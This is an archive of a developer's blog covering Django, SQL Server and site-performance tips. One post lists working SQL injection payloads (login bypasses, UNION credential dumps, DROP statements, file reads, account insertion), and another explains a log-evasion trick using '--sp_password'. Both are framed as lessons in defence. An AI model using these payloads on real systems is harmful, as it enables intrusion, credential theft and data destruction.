Evan Reiser's Blog

Halve your site's page sizes in 5 minutes

2009-04-28T14:39:00.002-04:00

This reduces our page sizes by up to 50%+

from django.utils.html import strip_spaces_between_tags
from django.conf import settings

class SpacelessMiddleware(object):
def process_response(self, request, response):
if not settings.DEBUG:
if 'text/html' in response['Content-Type']:
response.content = strip_spaces_between_tags(response.content)
return response

I havent had to worry about SQL recently

2009-03-03T22:31:00.002-05:00

I'm happy django does all the database work for me so i can spend my time building features and writing the same snippets of code all over the application.

Python + PIL: Make Geotagged photos from EXIF Headers

2008-01-08T11:04:00.000-05:00

For my django app, i wanted to take geotagged images and display them on google maps. Geotagged images store GPS data in the EXIF headers of the image, so we'll want to grab this data and extract the lattitude and longitude so we can display where the image was taken in our mapping software.

Using the PIL library we can grab the GPS data out of the image and format it in a way to easily display on a google map. PIL really does all the work for us, all we have to do is convert the Lat/Lng from DDD°, MM', SS.S" format stored in image to DD.DDDDD° format that google uses

Hidden in the Exif data we see this:

34853: {0: (2, 0, 0, 0), 1: 'N', 2: ((40, 1), (37, 1), (279, 10)), 3: 'W', 4: ((74, 1), (8, 1), (373, 10)), 5: 0, 6: (0, 1), 7: ((18, 1), (58, 1), (19, 1)), 9: 'A', 18: 'WGS-84'}

We can then use the following python to extract the data, convert and save it to our photo object

from PIL import Image
from PIL.ExifTags import TAGS

i = Image.open('/pics/DSC07018.JPG')
info = i._getexif()

ret = {}
for tag,value in info.items():
decoded = TAGS.get(tag, tag)
ret[decoded] = value

Nsec = ret['GPSInfo'][2][2][0] / float(ret['GPSInfo'][2][2][1])
Nmin = ret['GPSInfo'][2][1][0] / float(ret['GPSInfo'][2][1][1])
Ndeg = ret['GPSInfo'][2][0][0] / float(ret['GPSInfo'][2][0][1])
Wsec = ret['GPSInfo'][4][2][0] / float(ret['GPSInfo'][4][2][1])
Wmin = ret['GPSInfo'][4][1][0] / float(ret['GPSInfo'][4][1][1])
Wdeg = ret['GPSInfo'][4][0][0] / float(ret['GPSInfo'][4][0][1])

if ret['GPSInfo'][1] == 'N':
Nmult = 1
else:
Nmult = -1

if ret['GPSInfo'][1] == 'E':
Wmult = 1
else:
Wmult = -1

Lat = Nmult * (Ndeg + (Nmin + Nsec/60.0)/60.0)
Lng = Wmult * (Wdeg + (Wmin + Wsec/60.0)/60.0)

Now that you have the Lat and Lng you can save to your model or class to easily display in your web app.

photo= GMapPhoto()
photo.image = i
photo.lattitude = Lat
photo.longitude = Lng
photo.save()

Make your website faster in 5 minutes

2007-12-17T15:00:00.000-05:00

The "speed" or "performance" of your website is only based on one thing: how long it takes from when your user clicks until the data gets from your servers to the eyeballs of your user. Some companies can spend hundreds of hours and millions of dollars tuning queries, to shave off 20% of a 5ms query, but at the end of the day all that matters is your application's response time as perceived by the end user.

For most websites I'd say 2% of the time is spent in the database, 20% in the app code, 10-20% in transfer or latency, while the rest is spent or wasted on the front end. If i was going to spend the least amount of time/money to increase the most performance, I would focus on the front end of the application. Specifically, on how the browser requests, caches and renders data.

You're end user shouldn't have to wait around for stuff he doesn't need. Theres no point in hitting the webserver again and again requesting the same exact media files (css/javascript/images). These dont change so its a waste of processing power and bandwidth to server them. In order to prevent the user's browser you have to explain that their local cache shouldn't expire instantly. Set far future expires headers on your static content and you wont have to server it again and again. Doing this is trivial in either Apache of IIS

ExpiresActive On
ExpiresDefault "access plus 1 month"

This is what i have set on my static content server, if you're using the same webserver to serve up dynamic content, you probably want to specify expires header by type instead

ExpiresByType image/gif A2592000
ExpiresByType image/png A2592000
ExpiresByType image/jpg A2592000
ExpiresByType image/jpeg A2592000
ExpiresByType application/x-javascript A2592000
ExpiresByType text/css A2592000

You might have just reduced your bandwidth and response time by 20%. Additionally, read up on ETags and why they should be configured correctly. Probably just do this

FileETag none

Obviously, you want to send as little data as possible out of your webserver. Reducing file sizes and using common css/js files are pretty obvious performance techniques. What you might also want to do is compress text files as they are sent form your webserver; modern browsers can decode GZip'ed data at the small expense of processing power. To enable apache webserver to send gzip content use mod_deflate

AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css application/x-javascript

In my experience this seems to reduce the size of html/js/css files by 60% or more. Obviously this will reduce the transfer time of your content.

Finally, understand how browsers render web pages. Any time JavaScript is run, the browser will block page rendering. This is because JavaScript is able to write out data to the page. If you load all your JavaScript in the , your page won't start rendering on the client until it has all been transfered and loaded on the browser. Additionally you probably want to load all of your CSS as soon as possible; that way you can get required images as soon as possible if needed. A good rule of thumb:

Put your CSS at the top of the page
Put your JavaScript at the bottom of the page

On a side note, Django rocks and mootools rocks

The Fine Art of Software Estimation

2007-11-06T13:13:00.000-05:00

Overheard at Social Sample:

"by the way 25-30 hours really means 60 hours"

"I'm just taking all estimates and doubling them now...even if people have already doubled them, i'm doing it again; blanket policy"

Maybe we need some Evidence Based Estimation

Metallica Fans Don't Support Hilary Clinton

2007-11-02T14:59:00.000-04:00

What happens when you take a giant database full of social data and do some light data-mining and statistics: lots of random facts! (arguable worthless or priceless depending on what you use them for).

I am spending my Friday at Social Sample analyzing social data from supporters of 2008 presidential candidates; data found on online social networks. After coming up with some basic demographics, I searched the user base for music interests with high correlations to the normal population. A similar algorithm to what powers Social Suggester. I found that the artists / bands with the highest correlation to Hillary Clinton supporters were:

"MADONNA"
"TORI AMOS"
"FIONA APPLE"
"BJORK"
"PRINCE"
"DEPECHE MODE"
"GWEN STEFANI"
"PORTISHEAD"
"THE SMITHS"
"ELTON JOHN"
"NO DOUBT"
"KELLY CLARKSON"
"MILES DAVIS"
"THE CURE"
"JUSTIN TIMBERLAKE"

Hmm Interesting. Now what happens if you change the Social Suggester ranking algorithm to find the bands/artists with the lowest correlation between these two data sets?

"ATREYU"
"THE USED"
"MUDVAYNE"
"SLIPKNOT"
"TAKING BACK SUNDAY"
"BREAKING BENJAMIN"
"YELLOWCARD"
"DISTURBED"
"HINDER"
"BLINK 182"
"PANTERA"
"50 CENT"
"STAIND"
"METALLICA"
"SYSTEM OF A DOWN"

Also Interesting. These correlations weren't extremely high, but Hillary Clinton supporters that use online social networks were 4x less likely to be a fan of 50 Cent, and 5x less likely to be a fan of Breaking Benjamin. I'm not going to make any assumptions about what kind of people support Hillary Clinton, all we can say is that there a high correlation between the types of people who enjoy the first set of artists/bands, and a low correlation between the second. If anyone reads this please feel free to share any insight; please let me know if there are any other subcultures you'd like to see info on. I'll leave with some random data about Hillary Clinton supporters, (these are not facts [read: please dont sue me], just the data that our engine spat out based on analysis of the target group). Enjoy.

Interesting differences (all compared to the normal population, sample size =10.5 Million, all statistically significant)

Supporters were no more likely to be Female
Supporters were 10.9x more likely to be gay
Supporters were 1.25x more likely to be married
Supporters were 1.25x more likely to be a parent
Supporters were 1.50x more likely to be in grad school

Supporters were 2.01x more likely to be Agnostic
Supporters were 1.9x more likely to be Jewish
Supporters were 2.50x less likely to be Muslim
Supporters were 1.12x less likely to be Catholic

The same proportion of supporters Smoke cigarettes, but they are 1.1x less likely to drink alcohol

Find other high correlations at Social Suggester, or contact me for something specific. evan at socialsample . com

A cool way to alias columns

2007-10-03T11:39:00.000-04:00

A cool way to alias columns, dunno how useful this is, but kinda cool

Select t.alpha, t.beta, t.gamma
FROM(SELECT 11,22,33)t(alpha,beta,gamma)

SQL Server Log Bypass

2007-09-24T17:29:00.000-04:00

SQL Server (in)conveniently doesn't log queries which have sp_password in it (so the passwords don't show up in the logs).

This means that someone trying to break into your database using SQL injection can tack on "--sp_password" to the end of all their queries to avoid leaving a trail in the DB logs.

Of course all the requests will be stored in the web server log. Unless of course you use POST instead of GET

Why you should use stored procedures. aka How to do SQL Injection.

2007-09-23T16:23:00.000-04:00

Use stored procedures. Don't let people choose the queries that are being run on your database or you might open yourself up to a lot of harm. Any novice database user can turn your simple web app into an unrestricted interface to your database and/or server. Below are some common examples showing how hackers exploit your code to damage your database or access restricted data

1. Commenting out code / Login Bypass
A typical line of code that checks authentication based on a user name and password

SELECT * FROM members WHERE username = '$username' AND password = '$password'

What gets run on your database here if someone enters in their username as " admin'-- " with no password?

SELECT * FROM members WHERE username = 'admin '--' AND password = ''

unless your escaping string termination (single quotes here) the user was just able to bypass authentication as an arbitrary user.

2. Stacked Queries
Depending on the database driver and the database being used, multiple sql queries can be run in the same batch. This allows hackers to stack on arbitrary sql at the end of a normal query

SELECT * FROM products WHERE id = $id

This query might grab the product id out of the query string and then run this query. but if this hacker changes the query string and forces a non integer string such as "10;

SELECT * FROM products WHERE id = 10;
Drop products;

Probably not what you want your view product page to do.

3. UNION Injections: Forcing data out of the database

Imagine a page like this

http://somesite.com/viewproducts?productype=1

which grabs product names from a database which has a certain product type by executing this code and sql

SELECT productname FROM products WHERE type = $productypeid

for each productName in productNameResult
echo productName + "
"

Normally this pseudocode would output all the product names. However if the hacker changes the query string around they can turn your view products page into an easy interface to the data. Imagine the hacker massaged the querystring a tiny bit and changed the producttypeid parameter to be "1 and 1=0 union select username + '-' + password as productname from users_tbl " This would yield the following SQL

SELECT productname FROM products WHERE type = 1 and 1=0 union select username + '-' + password as productname from users_tbl

the end result is a dump of all the username / password on your view products page

username1-password1
username2-password2
username3-password3

4. Avoiding Anti-SQL Injection

You might think that an easy fix to this would be to just check for single quotes and escape them. However there are a bunch of ways to enter strings without quotes. For example in MySQL this will dump out the file C:\boot.ini

SELECT LOAD_FILE(0x633A5C626F6F742E696E69)

Hackers will commonly concatonate strings together using database

SELECT CHAR(75)+CHAR(76)+CHAR(77

5. Bypassing Logins and Authentication
Unfortunately most ametuer sites will break or bypass authenticaiton if you try some of these usernames:

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
Or to logon as a diff user:

' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

More advanced sites might try MD5 Password hash checks, these can be bypassed as well

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

6. Leveraging Error Messages
In SQL Server a hacker can use the Having clause to figure out what columns are being selected in the query they are trying to hack by entering the following fields in order.

' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
If you are not getting any more error then it's done.

If the hacker is trying to do UNION SQL injection knowing the number of columns will help them greatly; they can use the order by clause to do this:

ORDER BY 1--
ORDER BY 2--
ORDER BY N-- so on
Keep going until get an error. Error means you found the number of selected columns.

7. Figuring out Column Types
If a hacker is trying to do UNION injection they'll have to know what types each of the columns are. Since datatype errors appear before union target errors, the hacker can easily figure this out by using aggregate or convert functions.

'union select sum(columntofind) from users--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer.
...Microsoft OLE DB Provider for SQL Server error '80040e07' Explicit conversion from data type int to image is not allowed.

8. Inserting Arbitrary Data
A hacker can use SQL injection to create an account to your app

‘; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

9. Figuring out database type
@@version is a hackers friend (at least in MySQL and SQL Server)

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

10. Bulk Inserts to pull data off the server

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

Create table foo( line varchar(8000) )
bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
Drop temp table, and repeat for another file.

Persitant Logging through Aborted Transactions

2007-07-27T11:24:00.000-04:00

Sometimes you want to log that a transaction failed when the transaction is aborted. This can be a problem when the logging is part of the rolled-back transaction.

CREATE TABLE TranLogging (id int)
CREATE TABLE Test (id int)
CREATE TABLE #Test (id int)
DECLARE @TranLogging table (id int)

BEGIN TRAN
INSERT INTO @TranLogging VALUES(1)
INSERT INTO Test VALUES(1)
INSERT INTO #Test VALUES(1)
ROLLBACK TRAN

SELECT '@TranLogging',COUNT(*) FROM @TranLogging
SELECT ' test',COUNT(*) FROM Test
SELECT '#test',COUNT(*) FROM #Test

insert into TranLogging
select * from @TranLogging

select * from TranLogging

DROP TABLE Test,#Test,TranLogging

You'll notice that the row inserted into the table variable was maintained after the rollback, you can use this after a rolled-back transaction to copy failures/abortions into a more persistent logging table.

Capital IQ Screening Team mentioned on TheStreet.com

2007-07-12T09:50:00.000-04:00

As you probably know I work for Capital IQ on the Screening & Analytics Team, I'm always interested to see how clients use the tools I help develop. Today we were mentioned on TheStreet.com as a tool used by one of their writers, although we do have the majority of wall street as clients, its always cool to see a mention in the media.

These Gene-Drug Stocks Are Getting Hot

Calculating Medians in TSQL using 2005 Window Functions

2007-07-05T20:20:00.000-04:00

Calculating Medians can be a common and expensive operation in many applications, inefficiently

The hard part about medians is that you need to take the middle value for an odd number of elements and the 2 middle values for an even number of elements.

The cool thing here is that when you can take these two sequences sorted in opposite directions the absolute difference between the two is smaller than or equal to 1 only for elements that are required for the median calculation.

In this case you’re using ‘memberid’ (or some other unique value) as the tiebreaker to guarantee determinism of the row number calculations. This is required for using this trick to figure out the median.

Once you grab only the values you need for the median calculation you can isolate them by grouping them by groupid and calculate the average for each group.

WITH RN AS
(
SELECT groupid, val,
ROW_NUMBER() OVER(PARTITION BY groupid ORDER BY val, memberid) AS rna,
ROW_NUMBER() OVER(PARTITION BY groupid ORDER BY val DESC, memberid DESC) AS rnd
FROM dbo.Groups
)

SELECT groupid, AVG(1.*val) AS median
FROM RN
WHERE ABS(rna - rnd) <= 1
GROUP BY groupid;

Here’s the temp table I made to test this out

USE tempdb;
GO
IF OBJECT_ID('dbo.Groups') IS NOT NULL
DROP TABLE dbo.Groups;
GO

CREATE TABLE dbo.Groups
(
groupid VARCHAR(10) NOT NULL,
memberid INT NOT NULL,
string VARCHAR(10) NOT NULL,
val INT NOT NULL,
PRIMARY KEY (groupid, memberid)
);

INSERT INTO dbo.Groups(groupid, memberid, string, val)
VALUES('a', 3, 'stra1', 6);
INSERT INTO dbo.Groups(groupid, memberid, string, val)
VALUES('a', 9, 'stra2', 7);
INSERT INTO dbo.Groups(groupid, memberid, string, val)
VALUES('b', 2, 'strb1', 3);
INSERT INTO dbo.Groups(groupid, memberid, string, val)
VALUES('b', 4, 'strb2', 7);
INSERT INTO dbo.Groups(groupid, memberid, string, val)
VALUES('b', 5, 'strb3', 3);
INSERT INTO dbo.Groups(groupid, memberid, string, val)
VALUES('b', 9, 'strb4', 11);
INSERT INTO dbo.Groups(groupid, memberid, string, val)
VALUES('c', 3, 'strc1', 8);
INSERT INTO dbo.Groups(groupid, memberid, string, val)
VALUES('c', 7, 'strc2', 10);
INSERT INTO dbo.Groups(groupid, memberid, string, val)
VALUES('c', 9, 'strc3', 12);
GO

SQL Server 2008

2007-06-07T06:54:00.000-04:00

On Monday at TechEd they announced the official name of the next version of SQL Server - Microsoft SQL Server 2008 and released the first public CTP (Community Technology Preview) of it for people to start playing with and evaluating.

"SQL Server 2008 Product Overview" whitepaper
CTP 3 for download
David Campbell's TechEd session on SQL Server 2008 webcast
SQL Server 2008 press release
SQL Server 2008 MSDN Forums
SQL Server 2008 website

Generating a Numbers table

2007-05-31T05:08:00.000-04:00

A numbers table can be really useful for lots of reasons, but i'm not going to go over that here, i'm just going to document my journey trying to create one.

Unfortunately, I'm a .NET programmer so i normally first think of a procedural way to do things. When i wanted to create a numbers table I started off with a looping solution, its not pretty, but it works, and you only have to run it once so who cares. so i started off with this

SET NOCOUNT ON
BEGIN TRAN
DECLARE @LoopCounter INT
SET @LoopCounter = 1
WHILE @LoopCounter <= 10000
BEGIN
INSERT numbers_tbl
VALUES(@LoopCounter)
SET @LoopCounter = @LoopCounter + 1
END
COMMIT WORK
GO

This took 29 seconds on our development DB server, not bad for a one time cost, but there must be a different way, i tried using a recursive query that used a table expression. This looked like a pretty sweet query

DECLARE @n AS BIGINT;
SET @n = 1000000;

WITH Nums AS
(
SELECT 1 AS n
UNION ALL
SELECT n + 1
FROM Nums
WHERE n < @n
)
INSERT INTO numbers_tbl
SELECT n
FROM Nums OPTION(MAXRECURSION 0);
GO
>Table 'numbers_tbl'. Scan count 0, logical reads 1009505
>Table 'Worktable'. Scan count 2, logical reads 6000001

Turned out this took 45 seconds, it ended up being a bit slower than my procedural version. Now this approach is kinda lame, really all we need to do is generate the first 1000 rows and then do a cross join on itself to generate the million rows required. However these rows won't have the right numbers per se, but we can use the row number function to give each row a number yielding us a numbers table from 1 to a million.

DECLARE @n AS BIGINT;
SET @n = 1000000;
WITH Base AS
(
SELECT 1 AS n
UNION ALL
SELECT n + 1 FROM Base WHERE n <>
),
Expand AS
(
SELECT 1 AS c
FROM Base AS B1, Base AS B2
),
Nums AS
(
SELECT ROW_NUMBER() OVER(ORDER BY c) AS n
FROM Expand
)
INSERT INTO numbers_tbl
SELECT n FROM Nums
WHERE n <= @n
OPTION(MAXRECURSION 0);

Ah success this took 18 seconds, 9K reads opposed to 7M, i'm guessing as the number of entries in the numbers table goes up, this query will scale much better

This is good, but its not perfect. (Not perfect enough for Voodoo-Itzik-black-sql-magic arts practitioners). The problem with the solution before was that we still are stuck doing recursive selects for the first 1000 rows, why start off with the square root? why not add an additional crosss join, allowing us to start off at the sqrt(sqrt(@n)). In fact lets just start off with 2, and will continue to cross join these together (increasing by an exponential factor of 2 on each join). With 5 joins we can generate 4.2B rows, and we use the minimal number of initial selects.

In this case, We start with a CTE that only has 2 rows, and multiple it by the number of rows with each following CTE by cross-joining two instances of the previous CTE. This results in 2^2^N rows, we can use the same row number trick to generate the actually numbers to insert into our table.

DECLARE @n AS BIGINT;
SET @n = 1000000;
WITH
L0 AS(SELECT 1 AS c UNION ALL SELECT 1),
L1 AS(SELECT 1 AS c FROM L0 AS A, L0 AS B),
L2 AS(SELECT 1 AS c FROM L1 AS A, L1 AS B),
L3 AS(SELECT 1 AS c FROM L2 AS A, L2 AS B),
L4 AS(SELECT 1 AS c FROM L3 AS A, L3 AS B),
L5 AS(SELECT 1 AS c FROM L4 AS A, L4 AS B),
Nums AS(SELECT ROW_NUMBER() OVER(ORDER BY c) AS n FROM L5)
INSERT INTO numbers_tbl
SELECT n FROM Nums
WHERE n <= @n;
GO

This query ran in only 2 seconds, if you want more than 4B rows you can add an additional level (L6) for 2^64 rows. Chances are no machine can even store that much so i've left off L6.

Now you can have the largest numbers table at your company.

When to not not use Cursors Part 2

2007-05-24T16:16:00.000-04:00

If you're a new-hire or intern of ours at Capital IQ, stop reading, never use cursors. Ever.

Well my last attempt to prove that cursors can sometime be useful was derailed by my co-worker Mike Forman

This time i have a better (read: valid) example

I have the following table:

Which shows a bunch of employees at an unamed company, and the number of bugs they've fixed each day. For each of these employees i want to determine the running total of bugs fixed, each day. I can use the results of this query to create a pretty graph of bugs fixed over time per developer.

Now, using a cursor based solution we scan each piece of data once, which garauntees we have O(n) performance, meaning that as the number of entries in our table increase we can still create the desired results in time proportional to the number of rows. A set based solution suffers from O(n^2) performance (assuming there is no index on empid, BugsFixed). Even if there was an index a scan will results in (developers * (days + days^2)/2) rows scaned...which basically simplifies to O(n^2).

Now since cursors involve some overhead, the cursor solution will lose to the set based solution for a small number of items, however due to the performance limitations described above, the cursor solution is the only scalable choice to solve this problem.

Now watch Mike beat this using the OVER Clause.....

Code to Create this table:

--CREATE TABLE
IF OBJECT_ID('tempdb.dbo.BugCounts') IS NOT NULL
DROP TABLE tempdb.dbo.BugCounts;
GO

CREATE TABLE tempdb.dbo.BugCounts
(
empid INT NOT NULL,
workDay smalldatetime NOT NULL,
bugsFixed INT NOT NULL,
PRIMARY KEY(empid, workDay)
);

--POPULATE TABLE create 10K data points
DECLARE
@newn AS INT, @newempid AS INT,
@newworkDay As INT, @newbugsFixed As INT
DECLARE C CURSOR FAST_FORWARD FOR
SELECT top 10000 n
FROM numbers_tbl
OPEN C
FETCH NEXT FROM C INTO @newn;
WHILE @@fetch_status = 0
BEGIN
INSERT INTO tempdb.dbo.BugCounts
VALUES (@newn%25, dateadd(day, rand()*-300, GetDAte()), CAST(RAND()*100 AS INTEGER))
FETCH NEXT FROM C INTO @newn;
END
CLOSE C;
DEALLOCATE C;

Cursor Solution:

DECLARE @Result
TABLE(empid INT, workDay SMALLDATETIME, bugsFixed INT, runbugsFixed INT);

DECLARE
@empid AS INT,@prvempid AS INT, @workDay SMALLDATETIME,
@bugsFixed AS INT, @runbugsFixed AS INT;

DECLARE C CURSOR FAST_FORWARD FOR
SELECT empid, workDay, bugsFixed
FROM tempdb.dbo.BugCounts
ORDER BY empid, workDay;

OPEN C

FETCH NEXT FROM C INTO @empid, @workDay, @bugsFixed;
SELECT @prvempid = @empid, @runbugsFixed = 0;

WHILE @@fetch_status = 0
BEGIN
IF @empid <> @prvempid
SELECT @prvempid = @empid, @runbugsFixed = 0;

SET @runbugsFixed = @runbugsFixed + @bugsFixed;

INSERT INTO @Result
VALUES(@empid, @workDay, @bugsFixed, @runbugsFixed);

FETCH NEXT FROM C
INTO @empid, @workDay, @bugsFixed;
END

CLOSE C;
DEALLOCATE C;
select *
from @result
order by empid, workday;

Improving SQL Server Performance

2007-05-24T09:27:00.001-04:00

True or False? SQL Server produces execution plans that minimize overall resource use to improve system wide performance.

False. Sql server minimizes the time it takes to return results to the client, if multiple cpus are available it will run parts of the query in parallel even though a single cpu solution would minimize overall resource use.

When dealing with database performance problems, many database professionals will look at a variety of metrics, queue sizes, cache hit ratios, etc. However, when users use your database the only important metric, how long it takes for the database system to return results. System performance metrics are a lot different than the user's perceived performance, at the end of the
day only the latter matters.

The storage engine optimizes execution plans with this strategy; Solid Quality Learning's query tuning methodology revolves around the same concept. Taking a top down approach allows you to spend your time fixing the worst bottlenecks.

Methodology:

Analyze waits at the instance level
Correlate waits with queues
Determine a course of action
Drill down to the database/file level
Drill down to the process level
Tune indexes and queries

So go: SELECT * FROM sys.dm_os_wait_stats

More true/false cause I was bored:

Queries that never change in which query data in tables that never changes, always produces the same result. False. Not all queries have a distinct/unique correct logical result. Sql server execution plans may change based on external factors, the execution plan may change as operations are reordered

Where clause are always evaluated after the join clauses. False. Where clauses are only logically evaluated after the joins however the query optimizer adjusts the physical evaluation of the query result by filtering before the joins for increased efficiency.

When to not not use Cursors

2007-05-21T19:13:00.001-04:00

Cursors are usually bad to use; almost always there is a more efficient way to solve your problem using a set based solution. However there are some cases when cursors allow you to create a solution that is exponentially easier to implement than a set based solution. In general you should only resort to using cursors when a difficult set based solution becomes trivial when solved using cursors.

A classic example is that you have 5 classrooms of various sizes, and 3 classes of various sizes, and you want to assign a class to each classroom utilizing the minimum space required.

we'll simplify this problem and leave dates and times out of this issue :). Now this problem is very difficult to solve using a set based solution (it is possible, google itzik). However this is pretty trivial to solve using a cursor based solution, psuedo code below

Declare 2 cursors, one of the list of classrooms (lets call it: RoomsCursor) sorted by increasing capacity (number of seats), and another cursor for the list of classes (ClassesCursor) sorted by increasing number of students.
Now Fetch the first (smallest since you sorted ascending) class from the RoomsCursor
While the fetch returned a class that needs a classroom

Fetch the smallest unused classroom from RoomsCursor. if there is no available room, or the room is too small, continue and fetch the next smallest. Repeat fetching new rooms until you find a room that has fit or run out of rooms
If you didnt run out of rooms (and the last fetch yielded a room and the number of seats in the room is smaller than the number of students in the current room:

if you found a big enough room, schedule the class
else, you ran out of rooms!
fetch another Class

Return the scheduled events

In this case we are scanning both the classrooms and the classes in order. We never back up the cursor. We schedule classes by matching classes to class rooms until we either run out of classses to find classrooms for or we run out of rooms to accomidate classes. The only time there is an error is when no solution exists.

This solution runs in O(N) time since we are simply stepping through the cursor, the worst case solution is that we look at each class or classroom once.

this will set up the problem

USE tempdb;
GO
IF OBJECT_ID('dbo.Classes') IS NOT NULL
DROP TABLE dbo.Classes;
GO
IF OBJECT_ID('dbo.Classrooms') IS NOT NULL
DROP TABLE dbo.Classrooms;
GO

CREATE TABLE dbo.Classrooms
(
classroomid VARCHAR(10) NOT NULL PRIMARY KEY,
classSize INT NOT NULL
);

INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('C001', 2000);
INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('B101', 1500);
INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('B102', 100);
INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('R103', 40);
INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('R104', 40);
INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('B201', 1000);
INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('R202', 100);
INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('R203', 50);
INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('B301', 600);
INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('R302', 55);
INSERT INTO dbo.Classrooms(classroomid, classSize) VALUES('R303', 55);

CREATE TABLE dbo.Classes
(
classid INT NOT NULL PRIMARY KEY,
eventdesc VARCHAR(25) NOT NULL,
attendees INT NOT NULL
);

INSERT INTO dbo.Classes(classid, eventdesc, attendees)
VALUES(1, 'Mikes Adv T-SQL Seminar', 193);
INSERT INTO dbo.Classes(classid, eventdesc, attendees)
VALUES(2, 'CIQ .NET Pages', 51);
INSERT INTO dbo.Classes(classid, eventdesc, attendees)
VALUES(3, 'How to Break the DB', 232);
INSERT INTO dbo.Classes(classid, eventdesc, attendees)
VALUES(4, 'XAML ROCKS', 89);
INSERT INTO dbo.Classes(classid, eventdesc, attendees)
VALUES(5, 'CIQ Security Issues', 897);
INSERT INTO dbo.Classes(classid, eventdesc, attendees)
VALUES(6, 'Data Modeling 101', 46);
GO

CREATE INDEX idx_att_eid_edesc
ON dbo.Classes(attendees, classid, eventdesc);
CREATE INDEX idx_classSize_rid
ON dbo.Classrooms(classSize, classroomid);
GO

Cursor Solution:

DECLARE
@classroomid AS VARCHAR(10), @classSize AS INT,
@classid AS INT, @attendees AS INT;

DECLARE @Result TABLE(classroomid VARCHAR(10), classid INT);

DECLARE CClassrooms CURSOR FAST_FORWARD FOR
SELECT classroomid, classSize FROM dbo.Classrooms
ORDER BY classSize, classroomid;
DECLARE CClasses CURSOR FAST_FORWARD FOR
SELECT classid, attendees FROM dbo.Classes
ORDER BY attendees, classid;

OPEN CClassrooms;
OPEN CClasses;

FETCH NEXT FROM CClasses INTO @classid, @attendees;
WHILE @@FETCH_STATUS = 0
BEGIN
FETCH NEXT FROM CClassrooms INTO @classroomid, @classSize;

WHILE @@FETCH_STATUS = 0 AND @classSize < @attendees
FETCH NEXT FROM CClassrooms INTO @classroomid, @classSize;

IF @@FETCH_STATUS = 0
INSERT INTO @Result(classroomid, classid) VALUES(@classroomid, @classid);
ELSE
BEGIN
RAISERROR('Not enough Classrooms for Classes.', 16, 1);
BREAK;
END

FETCH NEXT FROM CClasses INTO @classid, @attendees;
END

CLOSE CClassrooms;
CLOSE CClasses;

DEALLOCATE CClassrooms;
DEALLOCATE CClasses;

SELECT classroomid, classid FROM @Result;
GO

What I Learned at Devscovery

2007-05-10T13:48:00.001-04:00

We love XAML
We love LINQ
AJAX.ASP.NET sooo 2 weeks ago
If you aren't using silverlight, your not cutting edge
Jeffery Richter knows more than you do about programming
If your website/presentation/resume doesn't have graphics with reflections
then its not cool
Every Thing/Technology should be Asynchronous
Jeff Procise loves microsoft technology more than you do
People named Jeff are smart
WCF makes me fall asleep...or I passed out from XML spec overload
Read ingo rammers blog: http://blogs.thinktecture.com/
Make a macro for !do
Outofmemory exception occurs since we can't alloate spave in the large object heap
!dumpheap is the most important command except if you don't use -stat since you might have just given yourself a 10m coffee break
!dumpheap -min 1mb...figure out why we get outofmemory
Memory ressurection is a 'dark corner' of the garbage collector...aka necromancey.
Garbage collector is magical
None knows what a async pinned handle is
!traverseheap dump to xml - read in with clr profiler
'don't try to outhink microsoft'
Studt rotor code
Never call GC.collect() ....it is self tuning
Finalization is evil, unless you want performance consultants at your office
There are a ton of unannounced features in orcas
Buy .net memory profiler

Tips to Prevent SQL Injection

2007-05-09T07:20:00.001-04:00

The following are examples of steps you can take to ensure some level of protection from SQL Injection however, any situation where you are generating dynamic SQL will leave you vulnerable to clever hackers.

In order to reduce the surface area for attack, do not enable functionality that isn't required such as the SQL Server Agent service or xp_cmdshell (which allows arbitrary commands to be run on the server)

Always provide minimal permissions to the executing user in order to limit their options and reduce your exposure. In SQL Server 2005, you can impersonate users, so the new credentials will even apply to code invoked dynamically at the server. This feature opens up a whole new set of security concerns. Dynamic SQL can now run under impersonated user credentials and
not even require direct permissions from the user executing the stored procedure.

Inspect users thoroughly and used stored procedures. If characters are allowed, use pattern matching to check whether SQL injection constructs (such as single quote, two dashes, sp_, xp_, UNION etc) exist in the input.

Always limit the lengths of inputs when possible. This will help reduce the hacker's ability to damage your system. Email address fields shouldn't be thoudands of characters long.

Use stored procedures! Stored procedures encapsulate user input to the database, type checking the input as well as allowing certain permissions.

In general dynamic sql is always dangerous since the users input can end up being executed. If possible its always safer to use static code as long as attention is paid to security issues. There are several tricks you can use to avoid dynamic sql such as using functions to parse input and invoke static code. Using static code will also give you a performance edge since the current implementation of stored procedures generates a new execution plan for each input.

If you ever need to expect quotes in your input (such as text inputs for a blog or something) a safe way to prevent sql injections is to simple replace CHAR(39) with CHAR(39)+CHAR(39) this will make it impossiblefor the hacker to escape the string. Using dynamic sql can be very powerful, however misuse and/or abuse can causeinefficient code that may open your database to attacks.

Correctly Setting Up tempdb

2007-05-08T09:48:00.001-04:00

